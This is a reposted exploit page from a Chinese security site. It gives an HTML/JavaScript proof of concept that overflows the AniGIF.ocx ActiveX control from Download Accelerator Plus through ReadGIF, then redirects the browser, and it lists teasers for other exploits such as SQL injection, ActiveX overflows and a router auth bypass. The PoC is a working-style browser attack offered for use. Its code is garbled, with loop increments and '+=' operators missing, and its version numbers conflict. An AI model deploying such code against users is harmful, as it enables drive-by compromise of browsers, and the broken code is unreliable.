Download Accelerator Plus - DAP 8.6 (AniGIF.ocx) Buffer Overflow PoC

所属分类: 网络安全 / Exploit 阅读数: 89
收藏 0 赞 0 分享
<html>
<body>
<object classid='clsid:82351441-9094-11D1-A24B-00A0C932C7DF' id='target' />
</object>
<script language=javascript>

// anigif.ocx by www.jcomsoft.com can be found distribuited with some applications,
// I found it in Download Accelerator Plus 6.8.
// DAP comes with an old version, but the last from jcomsoft is also vulnerable:
// there's a stack-based buffer overflow in the ReadGIF and ReadGIF2 methods,
// the funny thing is that after the first exception that will be handled by IE,
// when the object is released we reach RtlpCoalesceFreeBlocks owning eax and ecx
// with windogs xp sp1 or the second check of safe-unlink with sp2 in a standard heap
// overflow scenario.

var buf;
for (var i=0; i<259; i ) buf = "X";

buf ="BBBB";
buf = "CCCC";

for (var i=0; i<5728; i ) buf = "H";

target.ReadGIF(buf);

window.location = "http://www.google.com";

</script>
</body>
</html>

更多精彩内容其他人还在看

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF Exploit

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote Buffer Overflow Exploit Author: Koshi Original POC: http://www.milw0rm.com/exploi
收藏 0 赞 0 分享

MyBulletinBoard (MyBB)

<?php // forum mybb <= 1.2.11 remote sql injection vulnerability // bug found by Janek Vind "waraxe" http://www.waraxe
收藏 0 赞 0 分享

Acoustica Mixcraft

#!/usr/bin/perl # # Acoustica Mixcraft (mx4 file) Local Buffer Overflow Exploit # Author: Koshi # # Date: 08-28-08 ( 0day ) # Ap
收藏 0 赞 0 分享

Simple PHP Blog (SPHPBlog)

<? /* sIMPLE php bLOG 0.5.0 eXPLOIT bY mAXzA 2008 */ function curl($url,$postvar){ global $cook; $ch = cur
收藏 0 赞 0 分享

Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit

----------------------------------------------------------------------------- Ultra Office ActiveX Control Remote Arbitrary File Corruptio
收藏 0 赞 0 分享

Dana IRC 1.4a Remote Buffer Overflow Exploit

#!/usr/bin/perl # k`sOSe - 08/24/2008 # This is a useless and not portable exploit code, tested only on my winxp-sp3 VM. # I was loo
收藏 0 赞 0 分享

GeekLog

#!/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; print <<INTRO;
收藏 0 赞 0 分享

NoName Script

################################################################################ [ ] NoName Script 1.1 BETA Multiple Remote Vulnerabiliti
收藏 0 赞 0 分享

Pars4U Videosharing V1 XSS / Remote Blind SQL Injection Exploit

#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print "
收藏 0 赞 0 分享

Belkin wireless G router ADSL2 modem Auth Bypass Exploit

<html> <head> </head> <body> <b>html code to bypass the webinterface password protection of the Be
收藏 0 赞 0 分享
查看更多